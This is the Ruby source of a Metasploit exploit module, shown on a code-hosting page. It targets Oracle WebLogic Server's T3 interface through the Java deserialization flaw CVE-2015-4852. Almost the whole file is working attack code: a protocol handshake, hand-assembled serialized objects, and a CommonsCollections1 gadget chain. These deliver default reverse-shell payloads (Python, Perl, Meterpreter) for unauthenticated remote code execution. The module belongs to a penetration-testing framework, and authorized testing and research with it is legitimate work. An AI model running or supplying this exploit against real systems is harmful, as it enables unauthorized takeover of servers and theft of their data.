Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_rawobject.rb
30151 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::JavaDeserialization
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Oracle Weblogic Server Deserialization RCE - Raw Object',
17
'Description' => %q{
18
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
19
interface can send a serialized object (weblogic.jms.common.StreamMessageImpl)
20
to the interface to execute code on vulnerable hosts.
21
},
22
'Author' => [
23
'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
24
'Stephen Breen', # Vulnerability Discovery
25
'Aaron Soto', # Reverse Engineering JSO and ysoserial blobs
26
'Steve Embling', # T3S porting and testing
27
],
28
'License' => MSF_LICENSE,
29
'References' => [
30
['CVE', '2015-4852']
31
],
32
'Privileged' => false,
33
'Targets' => [
34
[
35
'Unix',
36
{
37
'Platform' => 'unix',
38
'Arch' => ARCH_CMD,
39
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' },
40
'Payload' => {
41
'Compat' => { 'PayloadType' => 'cmd' }
42
}
43
}
44
],
45
[
46
'Windows',
47
{
48
'Platform' => 'win',
49
'Payload' => {},
50
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
51
}
52
],
53
[
54
'Solaris',
55
{
56
'Platform' => 'solaris',
57
'Arch' => ARCH_CMD,
58
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
59
'Payload' => {
60
'Space' => 2048,
61
'DisableNops' => true,
62
'Compat' =>
63
{
64
'PayloadType' => 'cmd',
65
'RequiredCmd' => 'generic perl telnet'
66
}
67
}
68
}
69
]
70
],
71
'DefaultTarget' => 0,
72
'DisclosureDate' => '2015-01-28',
73
'Notes' => {
74
'Reliability' => [REPEATABLE_SESSION],
75
'Stability' => [CRASH_SAFE],
76
'SideEffects' => [IOC_IN_LOGS]
77
}
78
)
79
)
80
81
register_options([
82
Opt::RPORT(7001),
83
])
84
85
register_advanced_options([
86
OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])
87
])
88
end
89
90
=begin This check is currently incompatible with the Tcp mixin. :-(
91
def check
92
resp = send_request_cgi(
93
'method' => 'GET',
94
'uri' => '/console/login/LoginForm.jsp'
95
)
96
97
return CheckCode::Unknown unless resp && resp.code == 200
98
99
unless resp.body.include?('Oracle WebLogic Server Administration Console')
100
vprint_warning("Oracle WebLogic Server banner cannot be found")
101
return CheckCode::Unknown
102
end
103
104
/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
105
unless version
106
vprint_warning("Oracle WebLogic Server version cannot be found")
107
return CheckCode::Unknown
108
end
109
110
version = Rex::Version.new(version)
111
vprint_good("Detected Oracle WebLogic Server Version: #{version}")
112
case
113
when version.to_s.start_with?('10.3')
114
return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')
115
when version.to_s.start_with?('12.1.2')
116
return CheckCode::Appears unless version > Rex::Version.new('12.1.2.0')
117
when version.to_s.start_with?('12.1.3')
118
return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')
119
when version.to_s.start_with?('12.2')
120
return CheckCode::Appears unless version > Rex::Version.new('12.2.1.0')
121
end
122
123
return CheckCode::Safe
124
end
125
=end
126
127
def t3_handshake
128
# retrieved from network traffic
129
if !datastore['SSL'] || datastore['FORCE_T3']
130
shake = 't3'
131
else
132
shake = 't3s'
133
end
134
shake << " 12.2.1\n"
135
shake << "AS:255\n"
136
shake << "HL:19\n"
137
shake << "MS:10000000\n\n"
138
139
sock.put(shake)
140
sleep(1)
141
sock.get_once
142
end
143
144
def build_t3_request_object
145
# T3 request serialized data
146
# retrieved by watching network traffic
147
# This is a proprietary, undocumented protocol
148
149
# TODO: Cite a source for the dissection of in the following 14 lines:
150
data = '000005c3' # lenght of the packet
151
data << '01' # CMD_IDENTIFY_REQUEST
152
data << '65' # QOS
153
data << '01' # Flags:
154
# CONTEXT_JVMID_FLAG = 1 (has JVMIDs)
155
# CONTEXT_TX_FLAG = 2
156
# CONTEXT_TRACE_FLAG = 4
157
# CONTEXT_EXTENDED_FLAG = 8
158
# CONTEXT_EXTENDED_USER_FLAG = 16
159
data << 'ffffffff' # response id
160
data << 'ffffffff' # invocable id
161
data << '0000006a' # abbrev offset
162
data << '0000ea60' # reconnect timeout ??
163
164
data << '0000001900937b484a'
165
data << '56fa4a777666f581daa4f5b90e2aebfc607499'
166
data << 'b4027973720078720178720278700000000a00'
167
data << '00000300000000000000060070707070707000'
168
data << '00000a000000030000000000000006007006'
169
170
data << 'fe010000' # ----- separator -----
171
172
data << 'aced0005' # JSO v5 header
173
data << '73' # object header
174
data << '72001d' # className (29 bytes):
175
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
176
data << '5461626c65456e747279' # (continued)
177
data << '2f52658157f4f9ed' # serialVersionUID
178
data << '0c00007870' # remainder of object header
179
data << '72' # object header
180
data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo
181
data << '65726e616c2e5061636b616765496e666f' # (continued)
182
data << 'e6f723e7b8ae1ec9' # serialVersionUID
183
data << '02' # SC_SERIALIZABLE
184
data << '0008' # fieldCount = 8
185
data << '4900056d616a6f72' # 0: Int: major
186
data << '4900056d696e6f72' # 1: Int: minor
187
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
188
data << '49000b736572766963655061636b' # 3: Int: servicePack
189
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
190
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
191
data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String
192
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
193
data << '71007e0003' # (Handle) 0x007e0003
194
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
195
data << '71007e0003' # (Handle) 0x007e0003
196
data << '78707702000078' # block footers
197
198
data << 'fe010000' # ----- separator -----
199
200
data << 'aced0005' # JSO v5 header
201
data << '7372' # object header
202
data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry
203
data << '735461626c65456e747279' # (continued)
204
data << '2f52658157f4f9ed' # serialVersionUID
205
data << '0c' # EXTERNALIZABLE | BLOCKDATA
206
data << '00007870' # remainder of object header
207
data << '72' # object header
208
data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo
209
data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)
210
data << '972245516452463e' # serialVersionUID
211
data << '02' # SC_SERIALIZABLE
212
data << '0003' # fieldCount = 3
213
data << '5b0008' # array header (8 bytes)
214
data << '7061636b61676573' # ARRAY NAME = 'packages'
215
data << '740027' # TC_STRING className1 (39 bytes)
216
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo
217
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
218
data << '3b' # (continued)
219
data << '4c000e' # object header (14 bytes)
220
data << '72656c6561736556657273696f6e' # releaseVersion
221
data << '740012' # TC_STRING (18 bytes)
222
data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes
223
data << '5b0012' # array header (18 bytes)
224
data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;
225
data << '740002' # TC_STRING (2 bytes)
226
data << '5b42' # 0x5b42 = [B
227
data << '78' # block footer
228
229
data << '720024' # class (36 bytes)
230
data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo
231
data << '7465726e616c2e5061636b616765496e666f' # (continued)
232
data << 'e6f723e7b8ae1ec9' # serialVersionUID
233
234
data << '02' # SC_SERIALIZABLE
235
data << '0008' # fieldCount = 8
236
data << '4900056d616a6f72' # 0: Int: major
237
data << '4900056d696e6f72' # 1: Int: minor
238
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
239
data << '49000b736572766963655061636b' # 3: Int: servicePack
240
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
241
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
242
data << '71' # TC_REFERENCE
243
data << '007e0004' # Handle = 0x007e0004
244
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
245
data << '71' # TC_REFERENCE
246
data << '007e0004' # Handle = 0x007e0004
247
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
248
data << '71' # TC_REFERENCE
249
data << '007e0004' # Handle = 0x007e0004
250
data << '78' # class footer
251
data << '70' # TC_NULL
252
data << '77020000' # BLOCKDATA (2 bytes): 0x0000
253
data << '78' # block footer
254
255
data << 'fe010000' # ----- separator -----
256
257
data << 'aced0005' # JSO v5 header
258
data << '73' # object header
259
data << '72001d' # className (29 bytes):
260
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
261
data << '5461626c65456e747279' # (continued)
262
data << '2f52658157f4f9ed' # serialVersionUID
263
data << '0c00007870' # remainder of object header
264
data << '720021' # className (33 bytes)
265
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo
266
data << '65726e616c2e50656572496e666f' # (continued)
267
data << '585474f39bc908f1' # serialVersionUID
268
data << '02' # SC_SERIALIZABLE
269
data << '0006' # fieldCount = 6
270
data << '4900056d616a6f72' # 0: Int: major
271
data << '4900056d696e6f72' # 1: Int: minor
272
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
273
data << '49000b736572766963655061636b' # 3: Int: servicePack
274
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
275
data << '5b00087061636b61676573' # 5: Array: packages
276
data << '740027' # TC_STRING (39 bytes)
277
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;
278
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
279
data << '3b' # (continued)
280
data << '78' # block footer
281
data << '720024' # class header
282
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Name = Lweblogic/common/internal/PackageInfo;
283
data << '65726e616c2e56657273696f6e496e666f' # (continued)
284
data << '972245516452463e' # serialVersionUID
285
data << '02' # SC_SERIALIZABLE
286
data << '0003' # fieldCount = 3
287
data << '5b0008' # 0: Array
288
data << '7061636b6167657371' # packages
289
data << '007e0003' # Handle = 0x00730003
290
data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion
291
data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;
292
data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes
293
data << '740002' # TC_STRING (2 bytes)
294
data << '5b42' # VALUE = 0x5b42 = [B
295
data << '78' # block footer
296
data << '720024' # class header
297
data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo
298
data << '6e616c2e5061636b616765496e666f' # (continued)
299
data << 'e6f723e7b8ae1ec9' # serialVersionUID
300
data << '02' # SC_SERIALIZABLE
301
data << '0008' # fieldCount = 8
302
data << '4900056d616a6f72' # 0: Int: major
303
data << '4900056d696e6f72' # 1: Int: minor
304
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
305
data << '49000b736572766963655061636b' # 3: Int: servicePack
306
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
307
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
308
data << '71' # TC_REFERENCE
309
data << '007e0005' # Handle = 0x007e0005
310
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
311
data << '71' # TC_REFERENCE
312
data << '007e0005' # Handle = 0x007e0005
313
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
314
data << '71' # TC_REFERENCE
315
data << '007e0005' # Handle = 0x007e0005
316
data << '78' # class footer
317
data << '707702000078' # block footers
318
319
data << 'fe00ff' # this cruft again. some kind of footer
320
321
data << 'fe010000' # ----- separator -----
322
323
# weblogic.rjvm.JVMID object
324
data << 'aced0005' # JSO v5 header
325
data << '73' # object header
326
data << '720013' # class header
327
data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'
328
data << 'dc49c23ede121e2a' # serialVersionUID
329
data << '0c' # EXTERNALIZABLE | BLOCKDATA
330
data << '0000' # fieldCount = 0 (!!!)
331
data << '78' # block footer
332
data << '70' # NULL
333
data << '7750' # block header (80 bytes)
334
data << '21' # !
335
data << '000000000000000000' # 9 NULL BYTES
336
337
data << '0d' # strLength = 13 bytes
338
# data << '3139322e3136382e312e323237' # original PoC string = 192.168.1.227
339
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
340
# (must be an IP, and length isn't trivially editable)
341
data << '00' # \0
342
343
data << '12' # strLength = 18 bytes
344
# data << '57494e2d4147444d565155423154362e6568' # original str = WIN-AGDMVQUB1T6.eh
345
data << rand_text_alphanumeric(18).unpack('H*')[0]
346
347
data << '83348cd6' # original = ??? UNKNOWN ??? (Note: Cannot be randomized)
348
349
data << '000000070000' # ??? UNKNOWN ???
350
data << rport.to_s(16).rjust(4, '0') # callback port
351
data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ???
352
data << 'ffffffffff' # ??? UNKNOWN ???
353
data << '78' # block footer
354
355
data << 'fe010000' # ----- separator -----
356
357
# weblogic.rjvm.JVMID object
358
data << 'aced0005' # JSO v5 header
359
data << '73' # object header
360
data << '72' # class
361
data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID
362
data << 'dc49c23ede121e2a' # serialVersionUID
363
data << '0c' # EXTERNALIZABLE | BLOCKDATA
364
data << '0000' # fieldCount = 0
365
data << '78' # end block
366
data << '70' # TC_NULL
367
data << '77' # block header
368
data << '20' # length = 32 bytes
369
data << '0114dc42bd071a772700' # old string = ??? UNKNOWN ???
370
# data << rand_text_alphanumeric(10).unpack('H*')[0] # (NOTE: RANDOMIZATION BREAKS THINGS)
371
372
data << '0d' # string length = 13 bytes (NOTE: do not edit)
373
# data << '3234322e3231342e312e323534' # original string = 242.214.1.254
374
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
375
# (must be an IP, and length isn't trivially editable)
376
377
# data << '61863d1d' # original string = ??? UNKNOWN ???
378
data << rand_text_alphanumeric(4).unpack('H*')[0] # new = randomized
379
380
data << '00000000' # NULL BYTES
381
data << '78' # block footer
382
383
sock.put([data].pack('H*'))
384
sleep(1)
385
sock.get_once
386
end
387
388
def send_payload_objdata
389
# basic weblogic ClassTableEntry object (serialized)
390
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?
391
objdata = '056508000000010000001b0000005d0101007372017870737202787000000000'
392
objdata << '00000000757203787000000000787400087765626c6f67696375720478700000'
393
objdata << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'
394
395
objdata << 'fe010000' # ----- separator -----
396
397
objdata << 'aced0005' # JSO v5 header
398
objdata << '73' # object header
399
objdata << '72' # class
400
objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
401
objdata << '73735461626c65456e747279' # (cont)
402
objdata << '2f52658157f4f9ed' # serialVersionUID
403
objdata << '0c' # EXTERNALIZABLE | BLOCKDATA
404
objdata << '0000' # fieldCount = 0
405
objdata << '7870' # remaining object header
406
objdata << '72' # class header
407
objdata << '00025b42' # Name: 0x5b42
408
objdata << 'acf317f8060854e0' # serialVersionUID
409
objdata << '02' # SERIALIZABLE
410
objdata << '0000' # fieldCount = 0
411
objdata << '7870' # class footer
412
objdata << '77' # block header
413
objdata << '020000' # contents = 0x0000
414
objdata << '78' # block footer
415
416
objdata << 'fe010000' # ----- separator -----
417
418
objdata << 'aced0005' # JSO v5 header
419
objdata << '73' # object header
420
objdata << '72' # class
421
objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
422
objdata << '73735461626c65456e747279' # (cont)
423
objdata << '2f52658157f4f9ed' # serialVersionUID
424
objdata << '0c' # EXTERNALIZABLE | BLOCKDATA
425
objdata << '0000' # fieldCount = 0
426
objdata << '7870' # remaining object header
427
objdata << '72' # class header
428
429
objdata << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;
430
objdata << '6563743b' # (cont)
431
objdata << '90ce589f1073296c' # serialVersionUID
432
objdata << '02' # SERIALIZABLE
433
objdata << '0000' # fieldCount = 0
434
objdata << '7870' # remaining object header
435
objdata << '77' # block header
436
objdata << '020000' # contents = 0x0000
437
objdata << '78' # block footer
438
439
objdata << 'fe010000' # ----- separator -----
440
441
objdata << 'aced0005' # JSO v5 header
442
objdata << '73' # object header
443
objdata << '72' # class
444
445
objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
446
objdata << '73735461626c65456e747279' # (cont)
447
objdata << '2f52658157f4f9ed' # serialVersionUID
448
objdata << '0c' # SERIALIZABLE | BLOCKDATA
449
objdata << '0000' # fieldCount = 0
450
objdata << '7870' # block footer
451
objdata << '72' # class header
452
objdata << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector
453
objdata << 'd9977d5b803baf01' # serialVersionUID
454
objdata << '03' # WRITE_METHOD | SERIALIZABLE
455
objdata << '0003' # fieldCount = 3
456
objdata << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement
457
objdata << '49000c656c656d656e74436f756e74' # 1: Int: elementCount
458
objdata << '5b000b656c656d656e7444617461' # 2: Array: elementData
459
objdata << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;
460
objdata << '743b' # (cont)
461
objdata << '7870' # remaining object header
462
objdata << '77' # block header
463
objdata << '020000' # contents = 0x0000
464
objdata << '78' # block footer
465
466
objdata << 'fe010000' # ----- separator -----
467
468
java_payload = generate_java_deserialization_for_payload('CommonsCollections1', payload)
469
objdata << java_payload.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
470
471
objdata << 'fe010000' # ----- separator -----
472
473
# basic weblogic ImmutableServiceContext object (serialized)
474
objdata << 'aced0005' # JSO v5 header
475
objdata << '73' # object header
476
objdata << '72' # class
477
objdata << '00257765626c6f6769632e726a766d2e496d6d75' # Name: weblogic.rjvm.ImmutableServiceContext
478
objdata << '7461626c6553657276696365436f6e74657874' # (cont)
479
objdata << 'ddcba8706386f0ba' # serialVersionUID
480
objdata << '0c' # EXTERNALIZABLE | BLOCKDATA
481
objdata << '0000' # fieldCount = 0
482
objdata << '78' # object footer
483
objdata << '72' # block header
484
objdata << '00297765626c6f6769632e726d692e70726f76' # Name: weblogic.rmi.provider.BasicServiceContext
485
objdata << '696465722e426173696353657276696365436f' # (cont)
486
objdata << '6e74657874' # (cont)
487
objdata << 'e4632236c5d4a71e' # serialVersionUID
488
objdata << '0c' # EXTERNALIZABLE | BLOCKDATA
489
objdata << '0000' # fieldCount = 0
490
objdata << '7870' # block footer
491
objdata << '77' # block header
492
objdata << '020600' # contents = 0x0600
493
objdata << '7372' # class descriptor
494
objdata << '00267765626c6f6769632e726d692e696e7465' # Name: weblogic.rmi.internal.MethodDescriptor
495
objdata << '726e616c2e4d6574686f644465736372697074' # (cont)
496
objdata << '6f72' # (cont)
497
objdata << '12485a828af7f67b' # serialVersionUID
498
objdata << '0c' # EXTERNALIZABLE | BLOCKDATA
499
objdata << '0000' # fieldCount = 0
500
objdata << '7870' # class footer
501
objdata << '77' # class data
502
503
# payload << '34002e61757468656e746963617465284c7765' # old contents = 0x002e61757468656e746963617465284c7765
504
# payload << '626c6f6769632e73656375726974792e61636c' # 626c6f6769632e73656375726974792e61636c
505
# payload << '2e55736572496e666f3b290000001b' # 2e55736572496e666f3b290000001b
506
objdata << rand_text_alphanumeric(52).unpack('H*')[0] # new = randomized
507
objdata << '78' # class footer
508
objdata << '78' # block footer
509
# MISSING OBJECT FOOTER (0x78)
510
511
objdata << 'fe00ff' # this cruft again. some kind of footer
512
513
# sets the length of the stream
514
data = ((objdata.length >> 1) + 4).to_s(16).rjust(8, '0')
515
data << objdata
516
517
sock.put([data].pack('H*'))
518
sleep(1)
519
sock.get_once
520
end
521
522
def exploit
523
connect
524
525
print_status('Sending handshake...')
526
t3_handshake
527
528
print_status('Sending T3 request object...')
529
build_t3_request_object
530
531
print_status('Sending client object payload...')
532
send_payload_objdata
533
534
handler
535
disconnect
536
end
537
end
538
539